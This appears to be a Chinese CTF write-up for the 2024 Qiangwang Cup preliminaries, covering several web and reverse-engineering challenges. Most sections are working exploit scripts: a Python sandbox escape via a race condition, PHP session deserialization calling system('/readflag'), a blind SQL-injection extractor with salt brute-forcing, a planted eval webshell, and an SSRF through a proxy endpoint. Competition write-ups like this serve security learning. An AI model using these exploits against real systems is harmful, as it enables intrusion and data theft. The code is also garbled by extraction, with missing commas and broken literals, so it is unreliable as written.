2024年第八届强网杯初赛 WP
2024-11-6 22:41:0 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

PyBlockly

在unicode库里面的_get_repl_str函数,用于音译转换,可以将中文的符号转为英文符号,利用此处可以绕过blacklist_pattern

def _get_repl_str(char: str) -> Optional[str]:
    codepoint = ord(char)

    if codepoint < 0x80:
        # Already ASCII
        return str(char)

    if codepoint > 0xeffff:
        # No data on characters in Private Use Area and above.
        return None

    if 0xd800 <= codepoint <= 0xdfff:
        warnings.warn(  "Surrogate character %r will be ignored. "
                        "You might be using a narrow Python build." % (char,),
                        RuntimeWarning, 2)

    section = codepoint >> 8   # Chop off the last two hex digits
    position = codepoint % 256 # Last two hex digits

    try:
        table = Cache[section]
    except KeyError:
        try:
            mod = __import__('unidecode.x%03x'%(section), globals(), locals(), ['data'])
        except ImportError:
            # No data on this character
            Cache[section] = None
            return None

        Cache[section] = table = mod.data

    if table and len(table) > position:
        return table[position]
    else:
        return None

除了符号的过滤还有个hook,代码如下:

def my_audit_hook(event_name, arg):
    blacklist = ["popen""input""eval""exec""compile""memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

这是插入在输入代码之前的内容。关键运行代码如下:

code = hook_code + source_code
    tree = compile(source_code, "run.py"'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):
            with open("run.py"'w'as f:
                f.write(code)
            result = subprocess.run(['python''run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"

run.py存在条件竞争,写入run.py后镜像执行就行,最终exp:

import json
import threading

import requests

url = "http://eci-2ze8g9ev1y12f7v426d9.cloudeci1.ichunqiu.com:5000/blockly_json"

def get_str(s):
    return f'b’‘。fromhex(’{s.encode().hex()}‘)。decode()'
def test(b):
    a = '''print(__import__('os').popen('/bin/dd if=/flag').read())'''
    payload = (f"""
while True:
    with open({get_str('run.py')}, 'w') as f:
        f.write({get_str(a)})
    """
)

    payload = payload.replace("(""(").replace(")"")").replace(".""。").replace(":"":").replace(","",").replace(
        "_""\u02cd").replace("'""’")
    #
    if b == True:
        payload = ""
    print("p:"+payload)
    text_block = {"type""text"'fields': {'TEXT'f'’\n{payload}\n‘'}}
    payloads = {"blocks": {"blocks": [text_block]}}
    blockly_data = json.dumps(payloads).encode()
    while True:
        r = requests.post(url, data=blockly_data).text
        if r.strip() != "" and not 'Error generating Python code' in r and not 'Timeout' in r:
            print(r)

threading.Thread(target=test, args=(False,)).start()
threading.Thread(target=test, args=(False,)).start()
threading.Thread(target=test, args=(True,)).start()
threading.Thread(target=test, args=(True,)).start()
test(True)

找suid有dd命令,然后直接/bin/dd if=/flag读取即可

platform

扫描发现 www.zip 关键代码在class.php

<?php
class notouchitsclass {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __destruct() {
        eval($this->data);
    }
}

class SessionRandom {

    public function generateRandomString() {
    $length = rand(150);

    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';

    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }

    return $randomString;
    }

}

class SessionManager {
    private $sessionPath;
    private $sessionId;
    private $sensitiveFunctions = ['system''eval''exec''passthru''shell_exec''popen''proc_open'];

    public function __construct() {
        if (session_status() == PHP_SESSION_NONE) {
            throw new Exception("Session has not been started. Please start a session before using this class.");
        }
        $this->sessionPath = session_save_path();
        $this->sessionId = session_id();
    }

    private function getSessionFilePath() {
        return $this->sessionPath . "/sess_" . $this->sessionId;
    }

    public function filterSensitiveFunctions() {
        $sessionFile = $this->getSessionFilePath();

        if (file_exists($sessionFile)) {
            $sessionData = file_get_contents($sessionFile);

            foreach ($this->sensitiveFunctions as $function) {
                if (strpos($sessionData, $function) !== false) {
                    $sessionData = str_replace($function, '', $sessionData);
                }
            }
            file_put_contents($sessionFile, $sessionData);

            return "Sensitive functions have been filtered from the session file.";
        } else {
            return "Session file not found.";
        }
    }
}

index.php如下:

<?php
session_start();
require 'user.php';
require 'class.php';

$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $_SESSION['user'] = $username;

    if (!isset($_SESSION['session_key'])) {
        $_SESSION['session_key'] =$SessionRandom -> generateRandomString();
    }
    $_SESSION['password'] = $password;
    $result = $sessionManager->filterSensitiveFunctions();
    header('Location: dashboard.php');
    exit();
else {
    require 'login.php';
}

很明显的字符串长度变动反序列化,再碰撞一下session_key的长度就行,直接写exp:

import threading
import requests

url = "http://eci-2zebvccqe8no8gqeuwr6.cloudeci1.ichunqiu.com/index.php"

def login():
    sess = requests.session()
    while True:
        data = {"username""eval" * 15"password"''';password|O:15:"notouchitsclass":1:{s:4:"data";s:20:"syssystemtem('/readflag');";}'''}
        sess.post(url, data=data)
        r = sess.post(url, data=data).text
        if not '密码:' in r:
            print(r)

threading.Thread(target=login).start()
threading.Thread(target=login).start()
threading.Thread(target=login).start()
threading.Thread(target=login).start()
threading.Thread(target=login).start()
threading.Thread(target=login).start()
login()

xiaohuanxiong

疑似正解思路

gitee找到源码,貌似安装部分被改过改成固定的账号密码和salt,正解步骤可能如下:

application/service/BookService.php 的search方法存在sql注入

    public function search($keyword){
        return Db::query(
            "select * from ".$this->prefix."book where match(book_name,summary) 
            against ('"
.$keyword."' IN NATURAL LANGUAGE MODE)"
        );
    }

手动注册一个普通用户,跑出来密码,用下面的exp:

import requests as requests
url = "http://8.147.129.74:34820/"

def sqli(data):
    data = {"keyword"f"123123'|(exp(44-{data}))|'"}
    fh = requests.get(f"{url}search", params=data, allow_redirects=False).text
    if not "V5.1.35 LTS" in fh:
        return True
    return False
# 注入点,返回条件是否成立

def sqli1(sql):
    ans = ''
    for i in range(11000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            sqlitest = sqli("(ascii(substr((%s),%d,1))<%d)" % (sql,i, mid))
            if sqlitest:
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print(ans)
# 二分法注入
# sqli1("select group_concat(password) from e86ca84c_admin")
sqli1("select group_concat(password) from e86ca84c_user")

跑出自己的加盐的密码后,用一下脚本爆破出来salt,慢慢尝试组合和位数,试到6位hex格式成功跑出来salt(我手动注册的密码是test11)

import hashlib
import itertools

def getsalt():
    characters = 'abcdef0123456789'
    dictionary_8_chars = {''.join(p) for p in itertools.product(characters, repeat=6)}
    a = "a843ed98d94b39a4d0dc0dc044661cc1"
    for i in dictionary_8_chars:
        if hashlib.md5(b'test11' + str(i).encode()).hexdigest() == a:
            print(i)
getsalt()

然后用salt跑admin的密码(在e86ca84c_admin表中拿到密码hash),这样就绕过了验证码登录部分,但是一直没能碰撞出来,所以继续找别的洞

import hashlib
import itertools

def fuzz():
    characters = 'abcdef0123456789'
    dictionary_8_chars = {''.join(p) for p in itertools.product(characters, repeat=6)}
    for i in dictionary_8_chars:
        p = i.strip()
        if hashlib.md5(p.encode()+b'3cffeb').hexdigest() == "385f5ca3c361023f3ffd2bd86d1cc8c9":
            print(p)
fuzz()

疑似非预期

找到Payment控制器中的一个php文件写入漏洞

<?php

namespace app\admin\controller;

use app\service\OrderService;
use think\facade\App;

class Payment extends BaseAdmin
{
    protected $orderService;

    protected function initialize()
    
{
        $this->orderService = new OrderService();
    }

    //支付配置文件
    public function index()
    
{
        if ($this->request->isPost()) {
            $content = input('json');
            file_put_contents(App::getRootPath() . 'config/payment.php', $content);
            $this->success('保存成功');
        }
        $content = file_get_contents(App::getRootPath() . 'config/payment.php');
        $this->assign('json', $content);
        return view();
    }

    //订单查询
    public function orders()
    
{
        $data = $this->orderService->getPagedOrders();
        $this->assign([
            'orders' => $data['orders'],
            'count' => $data['count']
        ]);
        return view();
    }

}

但是继承于BaseAdmin:

<?php
/**
 * Created by PhpStorm.
 * User: zhangxiang
 * Date: 2018/10/19
 * Time: 下午6:04
 */

namespace app\admin\controller;

use think\App;
use think\Controller;
use think\facade\Session;
use think\facade\View;

class BaseAdmin extends Controller
{
    protected function initialize()
    
{
        parent::initialize(); // TODO: Change the autogenerated stub
        $this->checkAuth();
    }

    public function __construct(App $app = null)
    
{
        parent::__construct($app);
        $img_site = config('site.img_site');
        $version = file_get_contents(\think\facade\App::getRootPath().'public/static/html/version.txt');
        View::share([
            'img_site' => $img_site,
            'version' => $version,
            'returnUrl' => $this->request->url(true)
        ]);
    }

    protected function checkAuth(){
        if (!Session::has('xwx_admin')) {
            $this->redirect('admin/login/index');
        }
    }
}

按理说是要认证后才能访问的,但是试了一下可以直接访问,有点抽象,可能是出题人改烂了,因此直接打这里文件写入就行

import requests

url = "http://8.147.129.74:34820/"
sess = requests.session()

def install():
    u = url + "install"
    data = {"username""admin""password""admin123.""salt""1""redis_prefix""1"}
    r = sess.post(u, params={"step"5}, data=data)
    print(r.text)

def writefile():
    u = url + "admin/Payment/index"
    data = {"json""<?php eval($_POST[1]);?>"}
    sess.post(u, data)

def execcode(code):
    u = url
    print(sess.post(u, data={"1": code}).text.split('<!DOCTYPE html>')[0])

writefile()
payload = '''
echo file_get_contents('/flag');
'''

execcode(payload)

snake

打开环境输入用户名是一个贪吃蛇游戏

写了个AI味的脚本自动玩

import time

import requests
import sys
import heapq
# 初始配置
API_URL = 'http://eci-2ze5o4vs0w9m8ebeo5ud.cloudeci1.ichunqiu.com:5000/move'
sess = requests.session()
sess.headers.update({'User-Agent''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0'})
sess.headers.update({'Referer''http://eci-2ze5o4vs0w9m8ebeo5ud.cloudeci1.ichunqiu.com:5000/'})
r = sess.post(API_URL.strip("move") + "set_username", {"username""120314520"})
print(r.text)

# 配置服务器地址
BASE_URL = API_URL.strip("/move")  # 请根据实际情况修改
MOVE_ENDPOINT = '/move'

# 初始方向
current_direction = 'RIGHT'

# 游戏状态
snake = []
food = {}
score = 0

# 定义方向的相对坐标变化
DIRECTION_DELTAS = {
    'UP': (0-1),
    'DOWN': (01),
    'LEFT': (-10),
    'RIGHT': (10)
}

# 定义游戏网格大小
GRID_WIDTH = 20  # 根据实际情况修改
GRID_HEIGHT = 20  # 根据实际情况修改

def get_next_direction(snake, food):
    """
    使用A*算法找到从蛇头到食物的最短路径,并返回下一个移动方向。
    如果找不到路径,则选择一个安全的方向。
    """

    path = a_star(snake, food)
    if path and len(path) > 1:
        next_cell = path[1]
        head = snake[0]
        dx = next_cell[0] - head[0]
        dy = next_cell[1] - head[1]
        for direction, delta in DIRECTION_DELTAS.items():
            if (dx, dy) == delta:
                return direction
    # 如果找不到路径,选择一个安全方向
    safe_directions = get_safe_directions(snake)
    if safe_directions:
        return safe_directions[0]  # 选择第一个安全方向
    return current_direction  # 如果没有安全方向,保持当前方向

def get_safe_directions(snake):
    """
    获取所有安全的方向,避免撞墙和撞到自身。
    """

    head_x, head_y = snake[0]
    safe_directions = []
    for direction, (dx, dy) in DIRECTION_DELTAS.items():
        new_x = head_x + dx
        new_y = head_y + dy
        if 0 <= new_x < GRID_WIDTH and 0 <= new_y < GRID_HEIGHT:
            if [new_x, new_y] not in snake:
                # 避免与当前方向相反
                opposite_directions = {
                    'UP''DOWN',
                    'DOWN''UP',
                    'LEFT''RIGHT',
                    'RIGHT''LEFT'
                }
                if len(snake) > 1 and direction != opposite_directions.get(current_direction):
                    safe_directions.append(direction)
    return safe_directions

def a_star(snake, food):
    """
    使用A*算法找到从蛇头到食物的路径。
    """

    start = tuple(snake[0])
    goal = (food['x'], food['y'])
    snake_body = set(tuple(segment) for segment in snake)

    open_set = []
    heapq.heappush(open_set, (0 + heuristic(start, goal), 0, start, [start]))
    closed_set = set()

    while open_set:
        estimated_total, cost, current, path = heapq.heappop(open_set)
        if current in closed_set:
            continue
        if current == goal:
            return path
        closed_set.add(current)
        for direction, (dx, dy) in DIRECTION_DELTAS.items():
            neighbor = (current[0] + dx, current[1] + dy)
            if (0 <= neighbor[0] < GRID_WIDTH and 0 <= neighbor[1] < GRID_HEIGHT and
                neighbor not in snake_body and neighbor not in closed_set):
                new_cost = cost + 1
                estimated = new_cost + heuristic(neighbor, goal)
                heapq.heappush(open_set, (estimated, new_cost, neighbor, path + [neighbor]))
    return None  # 无法找到路径

def heuristic(a, b):
    """曼哈顿距离启发式函数"""
    return abs(a[0] - b[0]) + abs(a[1] - b[1])

def reset_game():
    global snake, food, score, current_direction
    payload = { 'direction''RIGHT' }
    try:
        response = requests.post(BASE_URL + MOVE_ENDPOINT, json=payload, allow_redirects=False)
        print(response.text)
        print(response.headers)
        data = response.json()
        if 'snake' in data:
            snake = data['snake']
            food = {'x': data['food'][0], 'y': data['food'][1] }
            score = data['score']
            current_direction = 'RIGHT'
            print(f"游戏开始,初始分数: {score}")
            print(f"初始蛇身: {snake}")
            print(f"初始食物位置: {food}")
        else:
            print("重置游戏失败,响应内容:", data)
            sys.exit(1)
    except Exception as e:
        print("请求失败:", e)
        sys.exit(1)

def make_move():
    global snake, food, score, current_direction
    payload = { 'direction': current_direction }
    try:
        response = requests.post(BASE_URL + MOVE_ENDPOINT, json=payload, allow_redirects=False)
        print(response.text)
        print(response.headers)
        data = response.json()
        status = data.get('status')
        if status == 'game_over':
            print(f"游戏结束!您的分数: {data.get('score', score)}")
            sys.exit(0)
        elif status == 'win':
            print(f"恭喜您获胜!跳转到: {data.get('url')}")
            sys.exit(0)
        else:
            # 更新游戏状态
            snake = data.get('snake', snake)
            food = { 'x': data['food'][0], 'y': data['food'][1] }
            score = data.get('score', score)
            print(f"当前分数: {score}")
            if score == 49:
                print(sess.cookies)
                # sys.exit(0)
            print(f"蛇身: {snake}")
            print(f"食物位置: {food}")
    except Exception as e:
        print("请求失败:", e)
        make_move()

def main():
    global current_direction
    reset_game()
    while True:
        current_direction = get_next_direction(snake, food)
        make_move()
        time.sleep(0.3)

if __name__ == '__main__':
    main()

但是跑到通过服务器直接500烂透,不知道是不是有防自动化的代码。游戏也不难,玩通关直接跳转界面,username输入单引号报错,尝试注入,成功闭合,测试行数总共有3行

一共两个回显位,用户名和时间,原样回显直接试了ssti成功触发

无过滤SSTI直接使用正常的payload就行了

Proxy

多半是被非预期了

func main() {
 r := gin.Default()

 v1 := r.Group("/v1")
 {
  v1.POST("/api/flag", func(c *gin.Context) {
   cmd := exec.Command("/readflag")
   flag, err := cmd.CombinedOutput()
   if err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
    return
   }
   c.JSON(http.StatusOK, gin.H{"flag": flag})
  })
 }

 v2 := r.Group("/v2")
 {
  v2.POST("/api/proxy", func(c *gin.Context) {
   var proxyRequest ProxyRequest
   if err := c.ShouldBindJSON(&proxyRequest); err != nil {
    c.JSON(http.StatusBadRequest, gin.H{"status""error""message""Invalid request"})
    return
   }

   client := &http.Client{
    CheckRedirect: func(req *http.Request, via []*http.Request) error {
     if !req.URL.IsAbs() {
      return http.ErrUseLastResponse
     }

     if !proxyRequest.FollowRedirects {
      return http.ErrUseLastResponse
     }

     return nil
    },
   }

   req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
   if err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
    return
   }

   for key, value := range proxyRequest.Headers {
    req.Header.Set(key, value)
   }

   resp, err := client.Do(req)

   if err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
    return
   }

   defer resp.Body.Close()

   body, err := io.ReadAll(resp.Body)
   if err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
    return
   }

   c.Status(resp.StatusCode)
   for key, value := range resp.Header {
    c.Header(key, value[0])
   }

   c.Writer.Write(body)
   c.Abort()
  })
 }

 r.Run("127.0.0.1:8769")
}

nginx中不允许访问/v1,但是直接走代理接口就能访问到,exp:

import base64

import requests

url = "http://101.200.139.65:36904/"

print(base64.b64decode(requests.post(url + "v2/api/proxy", json={"url""http://127.0.0.1:8769/v1/api/flag""method""POST","body""123","headers": {"a":"a"}, "FollowRedirects"True}).json()['flag']))

Password Game

密码要动态满足一些规则,并且序列化后的payload也要同时满足这些规则,先写一个ai味满满的函数用来计算这些数字满足给的规则

def generate_digits(
        total: int,
        required_digits: Optional[Union[str, List[int]]] = None,
        min_number: Optional[int] = None,
        max_attempts: int = 10000,
        a: bool = False
)
 -> Optional[List[int]]:

    """
    生成多个单位数,这些单位数的和是传入数字的倍数。
    可选择在生成的单位数中连续包含某个指定的数字序列,并且生成的数值减去指定的最小值后仍为指定倍数,防止出现负数。
    如果传入 a=True,则要求所有单位数之和加上58后为指定倍数。

    参数:
    - total (int): 目标倍数,即生成的数字之和应为 total 的倍数。
    - required_digits (str 或 List[int], 可选): 需要连续出现的数字序列,例如 "1234" 或 [1, 2, 3, 4]。
    - min_number (int, 可选): 生成的数字减去此数字后必须为 total 的倍数,且生成的数字不得小于此数字。
    - max_attempts (int, 可选): 最大尝试次数,默认为10000次。
    - a (bool, 可选): 如果为 True,则要求单位数之和加上58后为指定倍数,默认为False。

    返回:
    - List[int] 或 None: 满足条件的单位数列表,若未找到则返回 None。
    """


    if required_digits is not None:
        if isinstance(required_digits, str):
            required_digits = [int(d) for d in required_digits]
        elif isinstance(required_digits, list):
            if not all(isinstance(d, int) and 0 <= d <= 9 for d in required_digits):
                raise ValueError("required_digits 列表中的元素必须是 0 到 9 之间的整数。")
        else:
            raise TypeError("required_digits 必须是字符串或整数列表。")

        run_length = len(required_digits)
        if run_length < 1:
            raise ValueError("required_digits 的长度必须至少为1。")

    # 处理 min_number 参数
    if min_number is not None:
        if not isinstance(min_number, int) or min_number < 0:
            raise ValueError("min_number 必须是一个非负整数。")
        min_number_digits = [int(d) for d in str(min_number)]
        min_length = len(min_number_digits)
    else:
        min_length = 0

    for attempt in range(max_attempts):
        if required_digits is not None:
            # 决定数字列表的总长度,至少包含 required_digits 或 min_number 的长度
            total_digits = random.randint(max(run_length, min_length), max(run_length, min_length) + 10)
            # 随机选择插入连续数字的位置
            if total_digits < run_length:
                continue  # 不符合长度要求,重新尝试
            run_start = random.randint(0, total_digits - run_length)
            digits = []
            for i in range(total_digits):
                if run_start <= i < run_start + run_length:
                    digits.append(required_digits[i - run_start])
                else:
                    digits.append(random.randint(09))
        else:
            # 如果不需要特定的连续数字,随机生成数字列表
            total_digits = random.randint(max(1, min_length), max(20, min_length + 10))  # 确保长度至少为 min_length
            digits = [random.randint(09for _ in range(total_digits)]

        # 如果 min_number 是指定的,确保数字列表不以0开头
        if min_number is not None and digits[0] == 0:
            continue  # 重新尝试生成,避免前导零

        # 将 digits 转换为整数
        generated_number = int(''.join(map(str, digits)))

        # 检查是否满足 min_number 条件
        if min_number is not None:
            if generated_number < min_number:
                continue  # 不满足大于或等于 min_number,重新尝试
            if (generated_number - min_number) % total != 0:
                continue  # (N - M) 不是 total 的倍数,重新尝试

        # 计算数字之和
        digits_sum = sum(digits)

        # 检查数字之和是否为目标倍数
        if a:
            if (digits_sum + 58) % total != 0:
                continue  # 不满足 (和 + 58) 为 total 的倍数,重新尝试
        else:
            if digits_sum % total != 0:
                continue  # 不满足和为 total 的倍数,重新尝试

        # 检查是否包含指定的连续数字序列
        if required_digits is not None:
            digits_str = ''.join(map(str, digits))
            required_str = ''.join(map(str, required_digits))
            if required_str not in digits_str:
                continue  # 不包含指定序列,重新尝试

        # 如果所有条件都满足,返回 digits
        return digits

    # 如果在最大尝试次数内未找到,返回 None
    return None

满足了这些密码条件后拿到部分源码

function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";}

主要思路:

  1. $user->password == "2024qwb" 触发root::__get在这里把flag给到user::username
  2. 利用弱比较 2024=="2024qwb"
  3. user::destruct在__get后面才执行,此时username已经被赋值为flag,因此会输出flag

写exp:

import random
import re
import threading
import time
from typing import List, Optional, Union
import requests

api = "http://eci-2zedrox8x4h0gsc6ii7f.cloudeci1.ichunqiu.com/"

sess = requests.session()
t = threading.BoundedSemaphore(10)

def sum_of_numbers_in_string(string):
    numbers = re.findall(r'\d', str(string))  # 提取所有数字
    numbers = map(int, numbers)  # 转换为整数
    return sum(numbers)  # 计算和

def generate_digits(
        total: int,
        required_digits: Optional[Union[str, List[int]]] = None,
        min_number: Optional[int] = None,
        max_attempts: int = 10000,
        a: bool = False
)
 -> Optional[List[int]]:

    """
    生成多个单位数,这些单位数的和是传入数字的倍数。
    可选择在生成的单位数中连续包含某个指定的数字序列,并且生成的数值减去指定的最小值后仍为指定倍数,防止出现负数。
    如果传入 a=True,则要求所有单位数之和加上58后为指定倍数。

    参数:
    - total (int): 目标倍数,即生成的数字之和应为 total 的倍数。
    - required_digits (str 或 List[int], 可选): 需要连续出现的数字序列,例如 "1234" 或 [1, 2, 3, 4]。
    - min_number (int, 可选): 生成的数字减去此数字后必须为 total 的倍数,且生成的数字不得小于此数字。
    - max_attempts (int, 可选): 最大尝试次数,默认为10000次。
    - a (bool, 可选): 如果为 True,则要求单位数之和加上58后为指定倍数,默认为False。

    返回:
    - List[int] 或 None: 满足条件的单位数列表,若未找到则返回 None。
    """


    if required_digits is not None:
        if isinstance(required_digits, str):
            required_digits = [int(d) for d in required_digits]
        elif isinstance(required_digits, list):
            if not all(isinstance(d, int) and 0 <= d <= 9 for d in required_digits):
                raise ValueError("required_digits 列表中的元素必须是 0 到 9 之间的整数。")
        else:
            raise TypeError("required_digits 必须是字符串或整数列表。")

        run_length = len(required_digits)
        if run_length < 1:
            raise ValueError("required_digits 的长度必须至少为1。")

    # 处理 min_number 参数
    if min_number is not None:
        if not isinstance(min_number, int) or min_number < 0:
            raise ValueError("min_number 必须是一个非负整数。")
        min_number_digits = [int(d) for d in str(min_number)]
        min_length = len(min_number_digits)
    else:
        min_length = 0

    for attempt in range(max_attempts):
        if required_digits is not None:
            # 决定数字列表的总长度,至少包含 required_digits 或 min_number 的长度
            total_digits = random.randint(max(run_length, min_length), max(run_length, min_length) + 10)
            # 随机选择插入连续数字的位置
            if total_digits < run_length:
                continue  # 不符合长度要求,重新尝试
            run_start = random.randint(0, total_digits - run_length)
            digits = []
            for i in range(total_digits):
                if run_start <= i < run_start + run_length:
                    digits.append(required_digits[i - run_start])
                else:
                    digits.append(random.randint(09))
        else:
            # 如果不需要特定的连续数字,随机生成数字列表
            total_digits = random.randint(max(1, min_length), max(20, min_length + 10))  # 确保长度至少为 min_length
            digits = [random.randint(09for _ in range(total_digits)]

        # 如果 min_number 是指定的,确保数字列表不以0开头
        if min_number is not None and digits[0] == 0:
            continue  # 重新尝试生成,避免前导零

        # 将 digits 转换为整数
        generated_number = int(''.join(map(str, digits)))

        # 检查是否满足 min_number 条件
        if min_number is not None:
            if generated_number < min_number:
                continue  # 不满足大于或等于 min_number,重新尝试
            if (generated_number - min_number) % total != 0:
                continue  # (N - M) 不是 total 的倍数,重新尝试

        # 计算数字之和
        digits_sum = sum(digits)

        # 检查数字之和是否为目标倍数
        if a:
            if (digits_sum + 58) % total != 0:
                continue  # 不满足 (和 + 58) 为 total 的倍数,重新尝试
        else:
            if digits_sum % total != 0:
                continue  # 不满足和为 total 的倍数,重新尝试

        # 检查是否包含指定的连续数字序列
        if required_digits is not None:
            digits_str = ''.join(map(str, digits))
            required_str = ''.join(map(str, required_digits))
            if required_str not in digits_str:
                continue  # 不包含指定序列,重新尝试

        # 如果所有条件都满足,返回 digits
        return digits

    # 如果在最大尝试次数内未找到,返回 None
    return None

def start():
    p = {"action""start"}
    data = {"name""123"}
    r = sess.post(api, data=data, params=p)

def game():
    u = api + "game.php"
    data = {"password""1239511125Ac.!"}
    r = sess.post(u, data=data).text
    q = r.split('和必须为')[1].split('的')[0]
    qa = generate_digits(int(q),"12")
    a = 'Abc.!'
    for i in qa:
        a += str(i)
        a += str(i)
    data['password'] = a
    r = sess.post(u, data=data).text
    if 'Rule 3:' in  r:
        exp = r.split('请密码中包含下列算式的解(如有除法,则为整除):\n')[1].strip()
        if '/' in exp and exp.count("/") == 1:
            exp = exp.replace("/""//")
        ans = eval(exp)
        a1 = generate_digits(int(q), str(ans))
        data['password'] = "Acb.!"
        for i in a1:
            data['password'] += str(i)
        sess.post(u, data=data, allow_redirects=False)
        time.sleep(1)
        payload = 'O:4:"root":2:{s:8:"username";O:4:"user":3:{s:8:"username";i:2024;s:8:"password";N;s:5:"value";N;}s:5:"value";R:3;}'
        a2 = generate_digits(int(q), required_digits=str(ans), a = True)
        for i in a2:
            payload += str(i)
        print(payload)
        print(sum_of_numbers_in_string(payload))
        payload = {"password": payload}
        print(sess.post(u, data=payload).text)

start()
game()

斯内克

一个充满了SMC的贪吃蛇,一血拿下!

主函数:

这几个函数的作用分别是获取昵称、初始化、获取键盘输入、根据蛇头的位置做判断和刷新打印字符。

Init主要是对主要的结构体进行了初始化(这里自建了一个方便分析),还有随机数种子的设置和蛋的位置的获取(通过随机数)。

input中获取键盘输入后会根据对应输入修改func里的值(即SMC操作),分别是:

if ( Buffer.Event.KeyEvent.wVirtualKeyCode == 0x25 ) { // 方向左键
  ++round;
  keyboard = 0x25;
  dir = 3;
  for ( j = 0; j < 1152; ++j )
    func[j] = ((int)(unsigned __int8)func[j] >> 5) | (8 * func[j]);
else {
  switch ( wVirtualKeyCode )
  {
    case 0x26// 方向上键
      ++round;
      dir = 0;
      keyboard = 0x26;
      j_memcpy(v7, func, 0x480ui64);
      for ( k = 0; k < 1152; ++k )
        func[k] = v7[(k + 6) % 1152];
      break;
    case 0x27// 方向右键
      ++round;
      keyboard = 0x27;
      dir = 2;
      for ( m = 0; m < 1152; ++m )
        func[m] -= 102;
      break;
    case 0x28// 方向下键
      ++round;
      keyboard = 0x28;
      dir = 1;
      for ( n = 0; n < 1152; ++n )
        func[n] += 30;
      break;
  }
}

walk里有更改蛇头的位置和判断蛇头有无超出范围,值得注意的是在吃到蛋以后会进行一个memcmp,比对的是func的md5值和已知数组(md5通过算法可以看出来)。如果md5值符合,那么会调用func对name进行处理或检查。

所以思路就是用C打一个种子为0xDEADBEEF的随机数表,拿到蛋的位置,然后用Python写BFS记录每一步的按键顺序和修改的func,如果func的md5值符合就说明找到了。BFS的剪枝通过分类讨论走,基本每次吃到蛋以后的策略只有1-2种。

打表(windows环境):

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main(int argc, char const *argv[])
{
    // keyboard[0x25] = 3; // down //LEFT ARROW
    // keyboard[0x26] = 0; // left //UP ARROW
    // keyboard[0x27] = 2; // up //RIGHT ARROW
    // keyboard[0x28] = 1; // right //DOWN ARROW
    srand(0xDEADBEEF);
    int x = 10, y = 10, pos = 0;
    int px, py, dir, last_dir = -1;
    uint8_t rslt_md5[16];
    while (pos < 10000) {
        px = rand() % 20;
        py = rand() % 20;
        printf("(%d, %d), ", px, py);
        pos++;
    }
    return 0;
}

广搜这里的思路主要考虑了以下几种情况:

  1. 横坐标或纵坐标相同:
    • 同向则无需更多按键;
    • 反向由于不能直接调转蛇头,故需要绕上/下面走,有两种选择;
    • 垂直方向,往蛋的方向走即可,只有一种选择;
    • 同一位置也无需更多按键。
  2. 横纵坐标都不同
    • 包含当前行进方向,往蛋的方向转向即可,只有一种选择;
    • 不包含当前行进方向,则需要走除反方向外的另一个方向(不能直接调转蛇头),只有一种选择。

广搜代码:

from hashlib import md5

# from 随机数打表,太长省略
rand = [(170), (1210), (311), (159), (1318), (410), (1210), (1416), (37), (1914), (1011), (015), (1611), (016), (133), (1712), (153), (1614), (319), (1317), (189), (1017), ...]
